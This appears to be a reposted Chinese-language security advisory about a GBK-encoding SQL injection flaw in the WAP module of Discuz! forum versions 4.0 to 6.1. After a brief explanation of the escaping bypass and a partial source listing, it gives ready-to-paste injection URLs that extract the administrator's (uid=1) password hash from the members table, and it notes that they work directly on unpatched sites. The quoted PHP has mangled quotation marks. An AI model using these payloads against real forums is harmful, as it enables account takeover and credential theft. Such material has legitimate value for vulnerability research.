欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

Discuz! wap功能模块编码的注射漏洞

程序员文章站 2022-03-04 08:39:50
影响版本: Discuz!4.0.0 Discuz!4.1.0 Discuz!5.0.0 Discuz!5.5.0 Discuz!6.0.0 Discuz!6.1.0 描述: Discuz!论坛系统是一个采用 PHP 和 MySQL 等其他多种数据库构建的高效论... 09-04-18...
影响版本:
discuz!4.0.0
discuz!4.1.0
discuz!5.0.0
discuz!5.5.0
discuz!6.0.0
discuz!6.1.0
描述:
discuz!论坛系统是一个采用 php 和 mysql 等其他多种数据库构建的高效论坛解决方案。discuz! 在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在广大用户中有良好的口碑
由于 php 对 多字节字符集的支持存在问题,在各种编码相互转换过程中,有可能引发程序溢出和程序错误
提交一个 '
转意成 \'
然后转成gbk的,\和'就变成两个字符了
'就可以成功的引入
测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!

复制代码
代码如下:

if(defined('in_discuz')) {
exit('access denied');
}
define('codetable_dir', discuz_root.'./include/tables/');
class chinese {
var $table = '';
var $iconv_enabled = false;
var $unicode_table = array();
var $config = array
(
'sourcelang' => '',
'targetlang' => '',
'gbtounicode_table' => 'gb-unicode.table',
'big5tounicode_table' => 'big5-unicode.table',
);
function chinese($sourcelang, $targetlang, $forcetable = false) {
$this->config['sourcelang'] = $this->_lang($sourcelang);
$this->config['targetlang'] = $this->_lang($targetlang);
if(!function_exists(’iconv’) && $this->config['targetlang'] != ‘big5′ && !$forcetable) {
$this->iconv_enabled = true;
} else {
$this->iconv_enabled = false;
$this->opentable();
}
}
function _lang($langcode) {
$langcode = strtoupper($langcode);
if(substr($langcode, 0, 2) == ‘gb’) {
return ‘gbk’;
} elseif(substr($langcode, 0, 3) == ‘big’) {
return ‘big5′;
} elseif(substr($langcode, 0, 3) == ‘utf’) {
return ‘utf-8′;
} elseif(substr($langcode, 0, 3) == ‘uni’) {
return ‘unicode’;
}
}
function _hex2bin($hexdata) {
for($i=0; $i < strlen($hexdata); $i += 2) {
$bindata .= chr(hexdec(substr($hexdata, $i, 2)));
}
return $bindata;
}

chinese.class.php (utf-8不能利用)
searchid=22%cf'union select 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=1/*&do=submit
/space.php?username=%cf'%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,password,50,51,52,53,54,55,56,57,database(),59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84%20from%20cdb_members%20where%20uid=1/*
直接放在url后面可以爆出id=1的用户密码,还可以自己根据需要更改,要注意一点的是,目标必须开了wap,而且没有打上补丁,wap浏览吧